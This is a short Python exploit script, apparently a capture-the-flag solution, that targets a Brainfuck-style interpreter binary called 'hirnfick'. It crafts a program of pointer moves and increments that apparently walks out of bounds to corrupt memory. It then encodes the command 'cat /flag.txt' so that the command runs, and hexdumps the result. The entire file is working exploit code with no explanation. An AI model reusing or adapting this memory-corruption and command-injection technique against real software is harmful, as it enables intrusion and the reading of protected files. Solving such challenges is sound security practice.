33 lines
649 B
Python
33 lines
649 B
Python
#!/usr/bin/env python3
|
|
from subprocess import check_output
|
|
from pwn import *
|
|
|
|
def execute(payload):
|
|
with open("payload", "wb") as f:
|
|
f.write(payload)
|
|
|
|
output = check_output(["./hirnfick", "payload"])[13:]
|
|
return output
|
|
|
|
def enc(s):
|
|
final = b""
|
|
for c in s:
|
|
final += b"+" * c
|
|
final += b">"
|
|
return final
|
|
|
|
payload = b"<" * 0x90
|
|
payload += b"+" * (0x20)
|
|
payload += b">"
|
|
payload += b"+" * (0x5e-0x22)
|
|
payload += b">"
|
|
payload += b"---"
|
|
payload += b">" * (0x90-2-0x20)
|
|
payload += b"+"
|
|
payload += b">" * 0x20
|
|
payload += enc(b"cat /flag.txt")
|
|
|
|
# payload += b".>" * 8
|
|
|
|
out = execute(payload)
|
|
print(hexdump(out)) |